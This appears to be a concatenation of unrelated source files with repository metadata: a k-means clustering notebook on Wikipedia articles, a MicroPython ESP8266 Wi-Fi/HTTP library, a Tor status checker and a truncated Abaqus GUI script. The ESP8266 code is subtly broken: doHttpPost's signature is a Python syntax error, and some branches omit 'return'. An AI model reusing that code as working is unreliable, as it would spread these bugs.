same directory as this notebook. # In[45]: def plot_k_vs_heterogeneity(k_values, heterogeneity_values): plt.figure(figsize=(7,4)) plt.plot(k_values, heterogeneity_values, linewidth=4) plt.xlabel('K') plt.ylabel('Heterogeneity') plt.title('K vs. Heterogeneity') plt.rcParams.update({'font.size': 16}) plt.tight_layout() filename = 'kmeans-arrays.npz' heterogeneity_values = [] k_list = [2, 10, 25, 50, 100] if os.path.exists(filename): arrays = np.load(filename) centroids = {} cluster_assignment = {} for k in k_list: print k sys.stdout.flush() '''To save memory space, do not load the arrays from the file right away. We use a technique known as lazy evaluation, where some expressions are not evaluated until later. Any expression appearing inside a lambda function doesn't get evaluated until the function is called. Lazy evaluation is extremely important in memory-constrained setting, such as an Amazon EC2 t2.micro instance.''' centroids[k] = lambda k=k: arrays['centroids_{0:d}'.format(k)] cluster_assignment[k] = lambda k=k: arrays['cluster_assignment_{0:d}'.format(k)] score = compute_heterogeneity(tf_idf, k, centroids[k](), cluster_assignment[k]()) heterogeneity_values.append(score) plot_k_vs_heterogeneity(k_list, heterogeneity_values) else: print('File not found. Skipping.') # In the above plot we show that heterogeneity goes down as we increase the number of clusters. Does this mean we should always favor a higher K? **Not at all!** As we will see in the following section, setting K too high may end up separating data points that are actually pretty alike. At the extreme, we can set individual data points to be their own clusters (K=N) and achieve zero heterogeneity, but separating each data point into its own cluster is hardly a desirable outcome. In the following section, we will learn how to detect a K set "too large". # ## Visualize clusters of documents # Let's start visualizing some clustering results to see if we think the clustering makes sense. We can use such visualizations to help us assess whether we have set K too large or too small for a given application. Following the theme of this course, we will judge whether the clustering makes sense in the context of document analysis. # # What are we looking for in a good clustering of documents? # * Documents in the same cluster should be similar. # * Documents from different clusters should be less similar. # # So a bad clustering exhibits either of two symptoms: # * Documents in a cluster have mixed content. # * Documents with similar content are divided up and put into different clusters. # # To help visualize the clustering, we do the following: # * Fetch nearest neighbors of each centroid from the set of documents assigned to that cluster. We will consider these documents as being representative of the cluster. # * Print titles and first sentences of those nearest neighbors. # * Print top 5 words that have highest tf-idf weights in each centroid. # In[46]: def visualize_document_clusters(wiki, tf_idf, centroids, cluster_assignment, k, map_index_to_word, display_content=True): '''wiki: original dataframe tf_idf: data matrix, sparse matrix format map_index_to_word: SFrame specifying the mapping betweeen words and column indices display_content: if True, display 8 nearest neighbors of each centroid''' print('==========================================================') # Visualize each cluster c for c in xrange(k): # Cluster heading print('Cluster {0:d} '.format(c)), # Print top 5 words with largest TF-IDF weights in the cluster idx = centroids[c].argsort()[::-1] for i in xrange(5): # Print each word along with the TF-IDF weight print('{0:s}:{1:.3f}'.format(map_index_to_word['category'][idx[i]], centroids[c,idx[i]])), print('') if display_content: # Compute distances from the centroid to all data points in the cluster, # and compute nearest neighbors of the centroids within the cluster. distances = pairwise_distances(tf_idf, centroids[c].reshape(1, -1), metric='euclidean').flatten() distances[cluster_assignment!=c] = float('inf') # remove non-members from consideration nearest_neighbors = distances.argsort() # For 8 nearest neighbors, print the title as well as first 180 characters of text. # Wrap the text at 80-character mark. for i in xrange(8): text = ' '.join(wiki[nearest_neighbors[i]]['text'].split(None, 25)[0:25]) print('\n* {0:50s} {1:.5f}\n {2:s}\n {3:s}'.format(wiki[nearest_neighbors[i]]['name'], distances[nearest_neighbors[i]], text[:90], text[90:180] if len(text) > 90 else '')) print('==========================================================') # Let us first look at the 2 cluster case (K=2). # In[48]: '''Notice the extra pairs of parentheses for centroids and cluster_assignment. The centroid and cluster_assignment are still inside the npz file, and we need to explicitly indicate when to load them into memory.''' visualize_document_clusters(wiki, tf_idf, centroids[2](), cluster_assignment[2](), 2, map_index_to_word) # Both clusters have mixed content, although cluster 1 is much purer than cluster 0: # * Cluster 0: artists, songwriters, professors, politicians, writers, etc. # * Cluster 1: baseball players, hockey players, soccer (association football) players, etc. # # Top words of cluster 1 are all related to sports, whereas top words of cluster 0 show no clear pattern. # # Roughly speaking, the entire dataset was divided into athletes and non-athletes. It would be better if we sub-divided non-atheletes into more categories. So let us use more clusters. How about `K=10`? # In[49]: k = 10 visualize_document_clusters(wiki, tf_idf, centroids[k](), cluster_assignment[k](), k, map_index_to_word) # Clusters 0, 1, and 5 appear to be still mixed, but others are quite consistent in content. # * Cluster 0: artists, actors, film directors, playwrights # * Cluster 1: soccer (association football) players, rugby players # * Cluster 2: track and field athletes # * Cluster 3: baseball players # * Cluster 4: professors, researchers, scholars # * Cluster 5: Austrailian rules football players, American football players # * Cluster 6: female figures from various fields # * Cluster 7: composers, songwriters, singers, music producers # * Cluster 8: ice hockey players # * Cluster 9: politicians # # Clusters are now more pure, but some are qualitatively "bigger" than others. For instance, the category of scholars is more general than the category of baseball players. Increasing the number of clusters may split larger clusters. Another way to look at the size of the clusters is to count the number of articles in each cluster. # In[50]: np.bincount(cluster_assignment[10]()) # **Quiz Question**. Which of the 10 clusters above contains the greatest number of articles? # # 1. Cluster 0: artists, actors, film directors, playwrights # 2. Cluster 4: professors, researchers, scholars # 3. Cluster 5: Austrailian rules football players, American football players # 4. Cluster 7: composers, songwriters, singers, music producers # 5. Cluster 9: politicians # **Quiz Question**. Which of the 10 clusters contains the least number of articles? # # 1. Cluster 1: soccer (association football) players, rugby players # 2. Cluster 3: baseball players # 3. Cluster 6: female figures from various fields # 4. Cluster 7: composers, songwriters, singers, music producers # 5. Cluster 8: ice hockey players # There appears to be at least some connection between the topical consistency of a cluster and the number of its member data points. # Let us visualize the case for K=25. For the sake of brevity, we do not print the content of documents. It turns out that the top words with highest TF-IDF weights in each cluster are representative of the cluster. # In[51]: visualize_document_clusters(wiki, tf_idf, centroids[25](), cluster_assignment[25](), 25, map_index_to_word, display_content=False) # turn off text for brevity # Looking at the representative examples and top words, we classify each cluster as follows. Notice the bolded items, which indicate the appearance of a new theme. # * Cluster 0: **lawyers, judges, legal scholars** # * Cluster 1: **professors, researchers, scholars (natural and health sciences)** # * Cluster 2: ice hockey players # * Cluster 3: politicans # * Cluster 4: **government officials** # * Cluster 5: politicans # * Cluster 6: **professors, researchers, scholars (social sciences and humanities)** # * Cluster 7: Canadian politicians # * Cluster 8: **car racers** # * Cluster 9: **economists** # * Cluster 10: track and field athletes # * Cluster 11: females from various fields # * Cluster 12: (mixed; no clear theme) # * Cluster 13: baseball players # * Cluster 14: **painters, sculptors, artists** # * Cluster 15: Austrailian rules football players, American football players # * Cluster 16: **musicians, composers** # * Cluster 17: soccer (association football) players, rugby players # * Cluster 18: **poets** # * Cluster 19: **film directors, playwrights** # * Cluster 20: **songwriters, singers, music producers** # * Cluster 21: **generals of U.S. Air Force** # * Cluster 22: **music directors, conductors** # * Cluster 23: **basketball players** # * Cluster 24: **golf players** # # Indeed, increasing K achieved the desired effect of breaking up large clusters. Depending on the application, this may or may not be preferable to the K=10 analysis. # # Let's take it to the extreme and set K=100. We have a suspicion that this value is too large. Let us look at the top words from each cluster: # In[53]: k=100 visualize_document_clusters(wiki, tf_idf, centroids[k](), cluster_assignment[k](), k, map_index_to_word, display_content=False) # turn off text for brevity -- turn it on if you are curious ;) # The class of soccer (association football) players has been broken into two clusters (44 and 45). Same goes for Austrialian rules football players (clusters 26 and 48). The class of baseball players have been also broken into two clusters (16 and 91). # # **A high value of K encourages pure clusters, but we cannot keep increasing K. For large enough K, related documents end up going to different clusters.** # # That said, the result for K=100 is not entirely bad. After all, it gives us separate clusters for such categories as Brazil, wrestling, computer science and the Mormon Church. If we set K somewhere between 25 and 100, we should be able to avoid breaking up clusters while discovering new ones. # # Also, we should ask ourselves how much **granularity** we want in our clustering. If we wanted a rough sketch of Wikipedia, we don't want too detailed clusters. On the other hand, having many clusters can be valuable when we are zooming into a certain part of Wikipedia. # # **There is no golden rule for choosing K. It all depends on the particular application and domain we are in.** # # Another heuristic people use that does not rely on so much visualization, which can be hard in many applications (including here!) is as follows. Track heterogeneity versus K and look for the "elbow" of the curve where the heterogeneity decrease rapidly before this value of K, but then only gradually for larger values of K. This naturally trades off between trying to minimize heterogeneity, but reduce model complexity. In the heterogeneity versus K plot made above, we did not yet really see a flattening out of the heterogeneity, which might indicate that indeed K=100 is "reasonable" and we only see real overfitting for larger values of K (which are even harder to visualize using the methods we attempted above.) # **Quiz Question**. Another sign of too large K is having lots of small clusters. Look at the distribution of cluster sizes (by number of member data points). How many of the 100 clusters have fewer than 236 articles, i.e. 0.4% of the dataset? # # Hint: Use `cluster_assignment[100]()`, with the extra pair of parentheses for delayed loading. # In[55]: temp = cluster_assignment[100]() count = 0 for i in range(100): total = (temp == i).sum() if total < 236: count += 1 print count # ### Takeaway # # Keep in mind though that tiny clusters aren't necessarily bad. A tiny cluster of documents that really look like each others is definitely preferable to a medium-sized cluster of documents with mixed content. However, having too few articles in a cluster may cause overfitting by reading too much into a limited pool of training data.

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d316a1c92ea2eacd99036644096b71daf8954435

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Python

esp8266.py

mertaksoy/rpi-pico-micropython-esp8266-lib

b6500493294fc37719f6c5494b2ddd0882ac260c

[ "MIT" ]

8

2021-12-30T18:31:26.000Z

2022-03-22T01:11:29.000Z

esp8266.py

mertaksoy/rpi-pico-micropython-esp8266-lib

b6500493294fc37719f6c5494b2ddd0882ac260c

[ "MIT" ]

1

2021-11-06T22:54:47.000Z

2021-12-29T03:28:18.000Z

esp8266.py

mertaksoy/rpi-pico-micropython-esp8266-lib

b6500493294fc37719f6c5494b2ddd0882ac260c

[ "MIT" ]

6

2021-09-28T06:35:59.000Z

2022-01-10T10:36:41.000Z

from machine import UART, Pin import time from httpParser import HttpParser ESP8266_OK_STATUS = "OK\r\n" ESP8266_ERROR_STATUS = "ERROR\r\n" ESP8266_FAIL_STATUS = "FAIL\r\n" ESP8266_WIFI_CONNECTED="WIFI CONNECTED\r\n" ESP8266_WIFI_GOT_IP_CONNECTED="WIFI GOT IP\r\n" ESP8266_WIFI_DISCONNECTED="WIFI DISCONNECT\r\n" ESP8266_WIFI_AP_NOT_PRESENT="WIFI AP NOT FOUND\r\n" ESP8266_WIFI_AP_WRONG_PWD="WIFI AP WRONG PASSWORD\r\n" ESP8266_BUSY_STATUS="busy p...\r\n" UART_Tx_BUFFER_LENGTH = 1024 UART_Rx_BUFFER_LENGTH = 1024*2 class ESP8266: """ This is a class for access ESP8266 using AT commands Using this class, you access WiFi and do HTTP Post/Get operations. Attributes: uartPort (int): The Uart port numbet of the RPI Pico's UART BUS [Default UART0] baudRate (int): UART Baud-Rate for communncating between RPI Pico's & ESP8266 [Default 115200] txPin (init): RPI Pico's Tx pin [Default Pin 0] rxPin (init): RPI Pico's Rx pin [Default Pin 1] """ __rxData=None __txData=None __httpResponse=None def __init__(self, uartPort=0 ,baudRate=115200, txPin=(0), rxPin=(1)): """ The constaructor for ESP8266 class Parameters: uartPort (int): The Uart port numbet of the RPI Pico's UART BUS [Default UART0] baudRate (int): UART Baud-Rate for communncating between RPI Pico's & ESP8266 [Default 115200] txPin (init): RPI Pico's Tx pin [Default Pin 0] rxPin (init): RPI Pico's Rx pin [Default Pin 1] """ self.__uartPort=uartPort self.__baudRate=baudRate self.__txPin=txPin self.__rxPin=rxPin #print(self.__uartPort, self.__baudRate, self.__txPin, self.__rxPin) self.__uartObj = UART(self.__uartPort, baudrate=self.__baudRate, tx=Pin(self.__txPin), rx=Pin(self.__rxPin), txbuf=UART_Tx_BUFFER_LENGTH, rxbuf=UART_Rx_BUFFER_LENGTH) #print(self.__uartObj) def _createHTTPParseObj(self): """ This is private function for create HTTP response every time before doing the HTTP Post/Get operation """ if(self.__httpResponse != None): del self.__httpResponse self.__httpResponse=HttpParser() else: #del self.__httpResponse self.__httpResponse=HttpParser() def _sendToESP8266(self, atCMD, delay=1): """ This is private function for complete ESP8266 AT command Send/Receive operation. """ self.__rxData=str() self.__txData=atCMD #print("---------------------------"+self.__txData) self.__uartObj.write(self.__txData) self.__rxData=bytes() time.sleep(delay) #while self.__uartObj.any()>0: # self.__rxData += self.__uartObj.read(1) while True: #print(".") if self.__uartObj.any()>0: #print(self.__uartObj.any()) break while self.__uartObj.any()>0: self.__rxData += self.__uartObj.read(UART_Rx_BUFFER_LENGTH) #print(self.__rxData) if ESP8266_OK_STATUS in self.__rxData: return self.__rxData elif ESP8266_ERROR_STATUS in self.__rxData: return self.__rxData elif ESP8266_FAIL_STATUS in self.__rxData: return self.__rxData elif ESP8266_BUSY_STATUS in self.__rxData: return "ESP BUSY\r\n" else: return None def startUP(self): """ This funtion use to check the communication between ESP8266 & RPI Pico Return: True if communication success with the ESP8266 False if unable to communication with the ESP8266 """ retData = self._sendToESP8266("AT\r\n") if(retData != None): if ESP8266_OK_STATUS in retData: return True else: return False else: False def reStart(self): """ This funtion use to Reset the ESP8266 Return: True if Reset successfully done with the ESP8266 False if unable to reset the ESP8266 """ retData = self._sendToESP8266("AT+RST\r\n") if(retData != None): if ESP8266_OK_STATUS in retData: time.sleep(5) #self.startUP() return self.startUP() else: return False else: False def echoING(self, enable=False): """ This function use to enable/diable AT command echo [Default set as false for diable Echo] Return: True if echo off/on command succefully initiate with the ESP8266 False if echo off/on command failed to initiate with the ESP8266 """ if enable==False: retData = self._sendToESP8266("ATE0\r\n") if(retData != None): if ESP8266_OK_STATUS in retData: return True else: return False else: return False else: retData = self._sendToESP8266("ATE1\r\n") if(retData != None): if ESP8266_OK_STATUS in retData: return True else: return False else: return False def getVersion(self): """ This function use to get AT command Version details Return: Version details on success else None """ retData = self._sendToESP8266("AT+GMR\r\n") if(retData != None): if ESP8266_OK_STATUS in retData: #print(str(retData,"utf-8")) retData = str(retData).partition(r"OK")[0] #print(str(retData,"utf-8")) retData = retData.split(r"\r\n") retData[0] = retData[0].replace("b'","") retData=str(retData[0]+"\r\n"+retData[1]+"\r\n"+retData[2]) return retData else: return None else: return None def reStore(self): """ This function use to reset the ESP8266 into the Factory reset mode & delete previous configurations Return: True on ESP8266 restore succesfully False on failed to restore ESP8266 """ retData = self._sendToESP8266("AT+RESTORE\r\n") if(retData != None): if ESP8266_OK_STATUS in retData: return True else: return False else: return None """ def chcekSYSRAM(self): #retData = self._sendToESP8266("AT+SYSRAM?\r\n") self.__rxData=b'' self.__txData="AT+SYSRAM?\r\n" self.__uartObj.write(self.__txData) self.__rxData=bytes() time.sleep(2) while self.__uartObj.any()>0: self.__rxData += self.__uartObj.read(1) print(self.__rxData.decode()) if ESP8266_OK_STATUS in self.__rxData: return self.__rxData else: return 1 """ def getCurrentWiFiMode(self): """ This fucntion use to query ESP8266 WiFi's current mode [STA: Station, SoftAP: Software AccessPoint, or Both] Return: STA if ESP8266's wifi's current mode pre-config as Station SoftAP if ESP8266's wifi's current mode pre-config as SoftAP SoftAP+STA if ESP8266's wifi's current mode set pre-config Station & SoftAP None failed to detect the wifi's current pre-config mode """ retData = self._sendToESP8266("AT+CWMODE_CUR?\r\n") if(retData != None): if "1" in retData: return "STA" elif "2" in retData: return "SoftAP" elif "3" in retData: return "SoftAP+STA" else: return None else: return None def setCurrentWiFiMode(self, mode=3): """ This fucntion use to set ESP8266 WiFi's current mode [STA: Station, SoftAP: Software AccessPoint, or Both] Parameter: mode (int): ESP8266 WiFi's [ 1: STA, 2: SoftAP, 3: SoftAP+STA(default)] Return: True on successfully set the current wifi mode False on failed set the current wifi mode """ txData="AT+CWMODE_CUR="+str(mode)+"\r\n" retData = self._sendToESP8266(txData) if(retData!=None): if ESP8266_OK_STATUS in retData: return True else: return False else: return False def getDefaultWiFiMode(self): """ This fucntion use to query ESP8266 WiFi's default mode [STA: Station, SoftAP: Software AccessPoint, or Both] Return: STA if ESP8266's wifi's default mode pre-config as Station SoftAP if ESP8266's wifi's default mode pre-config as SoftAP SoftAP+STA if ESP8266's wifi's default mode set pre-config Station & SoftAP None failed to detect the wifi's default pre-config mode """ retData = self._sendToESP8266("AT+CWMODE_DEF?\r\n") if(retData!=None): if "1" in retData: return "STA" elif "2" in retData: return "SoftAP" elif "3" in retData: return "SoftAP+STA" else: return None else: return None def setDefaultWiFiMode(self, mode=3): """ This fucntion use to set ESP8266 WiFi's default mode [STA: Station, SoftAP: Software AccessPoint, or Both] Parameter: mode (int): ESP8266 WiFi's [ 1: STA, 2: SoftAP, 3: SoftAP+STA(default)] Return: True on successfully set the default wifi mode False on failed set the default wifi mode """ txData="AT+CWMODE_DEF="+str(mode)+"\r\n" retData = self._sendToESP8266(txData) if(retData!=None): if ESP8266_OK_STATUS in retData: return True else: return False else: return False def getAvailableAPs(self): """ This fucntion use to query ESP8266 for available WiFi AccessPoins Retuns: List of Available APs or None """ retData = str(self._sendToESP8266("AT+CWLAP\r\n", delay=10)) if(retData != None): retData = retData.replace("+CWLAP:", "") retData = retData.replace(r"\r\n\r\nOK\r\n", "") retData = retData.replace(r"\r\n","@") retData = retData.replace("b'(","(").replace("'","") retData = retData.split("@") retData =list(retData) apLists=list() for items in retData: data=str(items).replace("(","").replace(")","").split(",") data=tuple(data) apLists.append(data) return apLists else: return None def connectWiFi(self,ssid,pwd): """ This fucntion use to connect ESP8266 with a WiFi AccessPoins Parameters: ssid : WiFi AP's SSID pwd : WiFi AP's Password Retuns: WIFI DISCONNECT when ESP8266 failed connect with target AP's credential WIFI AP WRONG PASSWORD when ESP8266 tried connect with taget AP with wrong password WIFI AP NOT FOUND when ESP8266 cann't find the target AP WIFI CONNECTED when ESP8266 successfully connect with the target AP """ txData="AT+CWJAP_CUR="+'"'+ssid+'"'+','+'"'+pwd+'"'+"\r\n" #print(txData) retData = self._sendToESP8266(txData, delay=15) #print(".....") #print(retData) if(retData!=None): if "+CWJAP" in retData: if "1" in retData: return ESP8266_WIFI_DISCONNECTED elif "2" in retData: return ESP8266_WIFI_AP_WRONG_PWD elif "3" in retData: return ESP8266_WIFI_AP_NOT_PRESENT elif "4" in retData: return ESP8266_WIFI_DISCONNECTED else: return None elif ESP8266_WIFI_CONNECTED in retData: if ESP8266_WIFI_GOT_IP_CONNECTED in retData: return ESP8266_WIFI_CONNECTED else: return ESP8266_WIFI_DISCONNECTED else: return ESP8266_WIFI_DISCONNECTED else: return ESP8266_WIFI_DISCONNECTED def disconnectWiFi(self): """ This fucntion use to disconnect ESP8266 with a connected WiFi AccessPoins Return: False on failed to disconnect the WiFi True on successfully disconnected """ retData = self._sendToESP8266("AT+CWQAP\r\n") if(retData!=None): if ESP8266_OK_STATUS in retData: return True else: return False else: return False def _createTCPConnection(self, link, port=80): """ This fucntion use to create connect between ESP8266 and Host. Just like create a socket before complete the HTTP Get/Post operation. Return: False on failed to create a socket connection True on successfully create and establish a socket connection. """ #self._sendToESP8266("AT+CIPMUX=0") txData="AT+CIPSTART="+'"'+"TCP"+'"'+','+'"'+link+'"'+','+str(port)+"\r\n" #print(txData) retData = self._sendToESP8266(txData) #print(".....") #print(retData) if(retData != None): if ESP8266_OK_STATUS in retData: return True else: return False else: False def doHttpGet(self,host,path,user_agent="RPi-Pico", port=80): """ This fucntion use to complete a HTTP Get operation Parameter: host (str): Host URL [ex: get operation URL: www.httpbin.org/ip. so, Host URL only "www.httpbin.org"] path (str): Get operation's URL path [ex: get operation URL: www.httpbin.org/ip. so, the path "/ip"] user-agent (str): User Agent Name [Default "RPi-Pico"] post (int): HTTP post number [Default port number 80] Return: HTTP error code & HTTP response[If error not equal to 200 then the response is None] On failed return 0 and None """ if(self._createTCPConnection(host, port) == True): self._createHTTPParseObj() #getHeader="GET "+path+" HTTP/1.1\r\n"+"Host: "+host+":"+str(port)+"\r\n"+"User-Agent: "+user_agent+"\r\n"+"\r\n"; getHeader="GET "+path+" HTTP/1.1\r\n"+"Host: "+host+"\r\n"+"User-Agent: "+user_agent+"\r\n"+"\r\n"; #print(getHeader,len(getHeader)) txData="AT+CIPSEND="+str(len(getHeader))+"\r\n" retData = self._sendToESP8266(txData) if(retData != None): if ">" in retData: retData = self._sendToESP8266(getHeader, delay=2) self._sendToESP8266("AT+CIPCLOSE\r\n") retData=self.__httpResponse.parseHTTP(retData) return retData, self.__httpResponse.getHTTPResponse() else: return 0, None else: return 0, None else: self._sendToESP8266("AT+CIPCLOSE\r\n") return 0, None def doHttpPost(self,host,path,user_agent="RPi-Pico",content_type,content,port=80): """ This fucntion use to complete a HTTP Post operation Parameter: host (str): Host URL [ex: get operation URL: www.httpbin.org/ip. so, Host URL only "www.httpbin.org"] path (str): Get operation's URL path [ex: get operation URL: www.httpbin.org/ip. so, the path "/ip"] user-agent (str): User Agent Name [Default "RPi-Pico"] content_type (str): Post operation's upload content type [ex. "application/json", "application/x-www-form-urlencoded", "text/plain" content (str): Post operation's upload content post (int): HTTP post number [Default port number 80] Return: HTTP error code & HTTP response[If error not equal to 200 then the response is None] On failed return 0 and None """ if(self._createTCPConnection(host, port) == True): self._createHTTPParseObj() postHeader="POST "+path+" HTTP/1.1\r\n"+"Host: "+host+"\r\n"+"User-Agent: "+user_agent+"\r\n"+"Content-Type: "+content_type+"\r\n"+"Content-Length: "+str(len(content))+"\r\n"+"\r\n"+content+"\r\n"; #print(postHeader,len(postHeader)) txData="AT+CIPSEND="+str(len(postHeader))+"\r\n" retData = self._sendToESP8266(txData) if(retData != None): if ">" in retData: retData = self._sendToESP8266(postHeader, delay=2) #print(".......@@",retData) self._sendToESP8266("AT+CIPCLOSE\r\n") #print(self.__httpResponse) retData=self.__httpResponse.parseHTTP(retData) return retData, self.__httpResponse.getHTTPResponse() else: return 0, None else: return 0, None else: self._sendToESP8266("AT+CIPCLOSE\r\n") return 0, None def __del__(self): """ The distaructor for ESP8266 class """ print('Destructor called, ESP8266 deleted.') pass

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4.682822

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36.497041

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0

null

0

null

0

1

0

1

d31d05d65e96e8eb5e6db72874f6fcc4ab556220

2,325

py

Python

http/torcheck.py

k11dd00/oniongen

00d7992920c59de4a5584357a35494fbdde0a6d9

[ "MIT" ]

null

http/torcheck.py

k11dd00/oniongen

00d7992920c59de4a5584357a35494fbdde0a6d9

[ "MIT" ]

1

2021-11-09T02:38:38.000Z

http/torcheck.py

k11dd00/oniongen

00d7992920c59de4a5584357a35494fbdde0a6d9

[ "MIT" ]

null

# MIT License # # Copyright (c) 2018 k1dd00 # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE # -*- coding: utf-8; mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*- # vim: fileencoding=utf-8 tabstop=4 expandtab shiftwidth=4 # pylint: disable=C0103,C0301,W1202,W0212 import urllib2 from BeautifulSoup import BeautifulSOAP class TorCheck(object): """ The TorCheck class. This class checks the tor status and ip address """ IP_CHECK_ENDPOINT = "http://icanhazip.com" TOR_CHECK_ENDPOINT = "https://check.torproject.org" def __init__(self): self.text_key = "congratulations" def check_ip(self): """ Checks the ip address Returns ------- ip: str The ip address """ request = urllib2.urlopen(self.IP_CHECK_ENDPOINT) response = request.read() return response.strip() def check_tor_status(self): """ Checks the tor status Returns ------- status: Bool The tor status """ html = urllib2.urlopen(self.TOR_CHECK_ENDPOINT).read() parsed_html = BeautifulSOAP(html) content = parsed_html.body.find('h1', attrs={'class':'not'}).text return self.text_key in content.lower()

32.746479

81

0.68086

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0

null

0

null

0

1

0

1

d322e920e430d42433aea1129d02e77e626557b0

21,922

py

Python

desicos/abaqus/gui/gui_commands.py

saullocastro/desicos

922db8ac4fb0fb4d09df18ce2a14011f207f6fa8

[ "BSD-3-Clause" ]

1

2020-10-22T22:15:24.000Z

desicos/abaqus/gui/gui_commands.py

saullocastro/desicos

922db8ac4fb0fb4d09df18ce2a14011f207f6fa8

[ "BSD-3-Clause" ]

1

2020-10-09T12:42:02.000Z

desicos/abaqus/gui/gui_commands.py

saullocastro/desicos

922db8ac4fb0fb4d09df18ce2a14011f207f6fa8

[ "BSD-3-Clause" ]

2

2020-07-14T07:45:31.000Z

2020-12-29T00:22:41.000Z

import os import subprocess import shutil from itertools import chain import __main__ import numpy as np import desicos.abaqus.abaqus_functions as abaqus_functions import desicos.conecylDB as conecylDB import desicos.abaqus.conecyl as conecyl import desicos.abaqus.study as study from desicos.abaqus.constants import TMP_DIR from desicos.conecylDB import fetch, save ccattrs = ['rbot','H','alphadeg','plyts', 'stack', 'numel_r', 'elem_type', 'separate_load_steps', 'displ_controlled', 'axial_displ', 'axial_load', 'axial_step', 'pressure_load', 'pressure_step', #'Nxxtop', 'Nxxtop_vec', 'damping_factor1', 'minInc1', 'initialInc1', 'maxInc1', 'maxNumInc1', 'damping_factor2', 'minInc2', 'initialInc2', 'maxInc2', 'maxNumInc2', 'bc_fix_bottom_uR', 'bc_fix_bottom_v', 'bc_bottom_clamped', 'bc_fix_bottom_side_uR', 'bc_fix_bottom_side_v', 'bc_fix_bottom_side_u3', 'bc_fix_top_uR', 'bc_fix_top_v', 'bc_top_clamped', 'bc_fix_top_side_uR', 'bc_fix_top_side_v', 'bc_fix_top_side_u3', 'resin_add_BIR', 'resin_add_BOR', 'resin_add_TIR', 'resin_add_TOR', 'use_DLR_bc', 'resin_E', 'resin_nu', 'resin_numel', 'resin_bot_h', 'resin_bir_w1', 'resin_bir_w2', 'resin_bor_w1', 'resin_bor_w2', 'resin_top_h', 'resin_tir_w1', 'resin_tir_w2', 'resin_tor_w1', 'resin_tor_w2', 'laminapropKeys', 'allowables', 'timeInterval', 'stress_output'] def find_std_name(std_name): # #TODO: avoid using try and except... how to find if .stds exists inside # __main__ try: if std_name in __main__.stds.keys(): pass except: __main__.stds = {} return std_name def command_wrapper(cmd): # Decorator function to provide error tracebacks from commands def new_cmd(*args, **kwargs): try: cmd(*args, **kwargs) except Exception, e: import traceback traceback.print_exc() raise return new_cmd @command_wrapper def apply_imp_ms( std_name, imp_ms, imp_ms_stretch_H, imp_ms_scalings, imp_r_TOL, imp_ms_ncp, imp_ms_power_parameter, imp_ms_theta_z_format, imp_ms_rotatedeg, ): std = __main__.stds[std_name] start = 0 if std.calc_Pcr: start = 1 # The nodal_translations stores the first search to save time # it starts with None nodal_translations = None for i, scaling_factor in enumerate(imp_ms_scalings): scaling_factor = scaling_factor[0] if scaling_factor: cc = std.ccs[i+start] msi = cc.impconf.add_msi( imp_ms=imp_ms, scaling_factor=scaling_factor, rotatedeg=imp_ms_rotatedeg, ) cc.impconf.rebuild() msi.stretch_H = imp_ms_stretch_H msi.use_theta_z_format = imp_ms_theta_z_format msi.r_TOL = imp_r_TOL msi.ncp = imp_ms_ncp msi.power_parameter = imp_ms_power_parameter msi.nodal_translations = nodal_translations nodal_translations = msi.create() @command_wrapper def apply_imp_t( std_name, imp_thick, imp_num_sets, imp_t_stretch_H, imp_t_scalings, imp_t_ncp, imp_t_power_parameter, imp_t_theta_z_format, imp_t_rotatedeg): std = __main__.stds[std_name] start = 0 if std.calc_Pcr: start = 1 # The nodal_translations stores the first search to save time # it starts with None elems_t = None t_set = None for i,scaling_factor in enumerate(imp_t_scalings): scaling_factor = scaling_factor[0] if scaling_factor: cc = std.ccs[i+start] ti = cc.impconf.add_ti(imp_thick, scaling_factor) cc.impconf.rebuild() ti.number_of_sets = imp_num_sets ti.stretch_H = imp_t_stretch_H ti.use_theta_z_format = imp_t_theta_z_format ti.ncp = imp_t_ncp ti.power_parameter = imp_t_power_parameter ti.elems_t = elems_t ti.t_set = t_set elems_t, t_set = ti.create() def create_study(**kwargs): # setting defaults pl_table = kwargs.get('pl_table') cb_table = kwargs.get('cb_table') pload_step = kwargs.get('pload_step') d_table = kwargs.get('d_table') ax_table = kwargs.get('ax_table') lbmi_table = kwargs.get('lbmi_table') cut_table = kwargs.get('cut_table') ppi_enabled = kwargs.get('ppi_enabled') ppi_extra_height = kwargs.get('ppi_extra_height') ppi_table = kwargs.get('ppi_table') ffi_scalings = kwargs.get('ffi_scalings') while len(ffi_scalings) > 0 and ffi_scalings[-1] in [(0, False), False]: ffi_scalings = ffi_scalings[:-1] betadeg = kwargs.get('betadeg', 0.) omegadeg = kwargs.get('omegadeg', 0.) betadegs = kwargs.get('betadegs') omegadegs = kwargs.get('omegadegs') imp_num = {} imp_num['pl'] = kwargs.get('pl_num') imp_num['cbi'] = kwargs.get('cb_num') imp_num['d'] = kwargs.get('d_num') imp_num['ax'] = kwargs.get('ax_num') imp_num['lbmi'] = kwargs.get('lbmi_num') imp_num['cut'] = kwargs.get('cut_num') imp_tables = {} imp_tables['pl'] = pl_table imp_tables['cbi'] = cb_table imp_tables['d'] = d_table imp_tables['ax'] = ax_table imp_tables['lbmi'] = lbmi_table imp_tables['cut'] = cut_table num_params = {} num_params['pl'] = 2 num_params['cbi'] = 2 num_params['d'] = 4 num_params['ax'] = 2 num_params['lbmi'] = 1 num_params['cut'] = 3 num_models = 1 for k in ['pl', 'cbi', 'd', 'ax', 'lbmi', 'cut']: if imp_num[k] == 0: continue imp_table = imp_tables[k] num_models = max(num_models, len(imp_table)-(num_params[k]+1)) num_models = max(num_models, len(ffi_scalings)) # # Cleaning up input values # # laminate laminate = np.atleast_2d([i for i in kwargs.get('laminate') if i]) kwargs['laminate'] = laminate kwargs['stack'] = [float(i) for i in 